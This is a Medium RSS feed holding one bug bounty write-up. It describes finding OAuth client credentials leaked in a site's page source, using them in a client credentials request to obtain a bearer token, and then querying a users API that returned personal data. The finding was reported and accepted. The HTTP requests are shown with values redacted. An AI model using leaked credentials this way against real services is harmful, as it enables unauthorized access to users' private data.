<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Basyouni on Medium]]></title>
        <description><![CDATA[Stories by Basyouni on Medium]]></description>
        <link>https://medium.com/@basyounii?source=rss-9b49a402e71d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*wW8LjhZIo0_nbBcl</url>
            <title>Stories by Basyouni on Medium</title>
            <link>https://medium.com/@basyounii?source=rss-9b49a402e71d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 21:57:46 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@basyounii/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Forging OAuth tokens using discovered client id and client secret]]></title>
            <link>https://basyounii.medium.com/forging-oauth-tokens-using-discovered-client-id-and-client-secret-d224e4e7892a?source=rss-9b49a402e71d------2</link>
            <guid isPermaLink="false">https://medium.com/p/d224e4e7892a</guid>
            <dc:creator><![CDATA[Basyouni]]></dc:creator>
            <pubDate>Thu, 12 May 2022 16:09:11 GMT</pubDate>
            <atom:updated>2022-05-12T17:33:38.538Z</atom:updated>
            <content:encoded><![CDATA[<p>Below is a short story about leaked OAuth client id and client secret which I found in the page source that led to generating foreign tokens.</p><h4>Recon:</h4><p>I usually before using any tool or starting the recon process I take a look at the main domain, when I opened the page source I found OAuth client_id and Client_secret</p><pre>{<br>    &quot;ENV&quot;: &quot;prod&quot;,<br>    &quot;SERVICE_CLIENT_ID&quot;: &quot;mvaxns1234gahnbnjkdfsasdgyjkuigv&quot;,<br>    &quot;SERVICE_CLIENT_SECRET&quot;: &quot;2a548s56-as84-d8fg-asd5-ahsndksj12sh&quot;,<br>    &quot;MARKETO_CLIENT_ID&quot;: &quot;safsfads-ascd-vcxd-dsfds-adhdnmajkss&quot;,<br>    &quot;MARKETO_CLIENT_SECRET&quot;: &quot;nchsjskalionmalkjhyusimnbg12sgdf&quot;,<br>    &quot;SERVICE_OAUTH_CLIENT_API_VERSION&quot;: &quot;v2&quot;<br>};<br><strong>Disclaimer</strong>: all values were replaced</pre><h4>What is <a href="https://www.varonis.com/blog/what-is-oauth">OAuth</a>?</h4><blockquote>OAuth is an open-standard authorization protocol or framework that provides applications the ability for “secure designated access.” For example, you can tell Facebook that it’s OK for Instagram to access your profile or post updates to your story without having to give Instagram your Facebook password. This minimizes risk in a major way: In the event, Instagram suffers a breach, your Facebook password remains safe.</blockquote><h4>Client Credentials Flow:</h4><p>The clients need to authenticate themselves for this request. Typically the service will allow either additional request parameters client_id and client_secret, or accept the client ID and secret in the HTTP Basic auth header.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tueYVond9U1RmLjYqM7gSQ.png" /></figure><ol><li>Your app authenticates with the Auth0 Authorization Server using its Client ID and Client Secret (<a href="https://auth0.com/docs/api/authentication?http#client-credentials-flow">/oauth/token endpoint</a>).</li><li>Your Auth0 Authorization Server validates the Client ID and Client Secret.</li></ol><p>3. Your Auth0 Authorization Server responds with an Access Token.</p><p>4. Your application can use the Access Token to call an API on behalf of itself.</p><p>5. The API responds with the requested data.</p><blockquote><strong><em>Let’s try to use this credentials</em></strong></blockquote><h4>Exploit:</h4><p>Now I just wanted to check if <em>Client_Id </em>and <em>Client_Secret </em>are still valid:</p><p>There are two methods that you can use to include a token in your calls, as an HTTP header, or as a query string parameter:</p><p>I used the HTTP header method.</p><p><strong><em>Authorization: Basic </em>&lt;base64 Client_id:Client_secret&gt;</strong></p><p><strong>The Client Credentials grant type is used by clients to obtain an access token outside of the context of a user.</strong></p><pre>POST /{identity url}/oauth/v1/token HTTP/1.1<br>Host: site.com<br><strong>Authorization: Basic ehajnnsmnshjaknsjilkmnshtghjklikjWlOTno6VXdsQSgdhjnsmkjdhfbnnmkjshbnbhahsjkkluyhsghbshjnmkdjhead==</strong><br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 29</pre><pre><strong>grant_type=client_credentials</strong></pre><pre>HTTP/1.1 200 OK<br>Date: Thu, 05 May 2022 21:15:28 GMT<br>Content-Type: application/json<br>Content-Length: 1008<br>Connection: close<br>Cache-Control: no-cache, no-store, no-transform</pre><pre><strong>{&quot;token_type&quot;:&quot;bearer&quot;,&quot;access_token&quot;:&quot;eyJ0[…redacted…]&quot;}</strong></pre><p>I got back a <a href="https://jwt.io/">JWT token</a>.</p><p>We can use it to get some data like this</p><pre>POST /api/v1/users HTTP/1.1<br>Host: site.com<br><strong>Authorization: Bearer eyJ0[…redacted…]<br></strong>Content-Type: application/x-www-form-urlencoded</pre><pre>HTTP/1.1 200 OK<br>[...]</pre><pre>{<br> &quot;username&quot;:”<strong>Name</strong>”,<br> &quot;id&quot;:&quot;<strong>BLALALALA</strong>&quot;,<br> &quot;phone&quot;:&quot;<strong>21254488</strong>&quot;<br>{<br> &quot;username&quot;:”<strong>Name</strong>”,<br> &quot;id&quot;:&quot;<strong>BLALALALA</strong>&quot;,<br> &quot;phone&quot;:&quot;<strong>21254488</strong>&quot;<br> <br>}</pre><p>I reported the vulnerability, and they accepted it as a high :).</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d224e4e7892a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>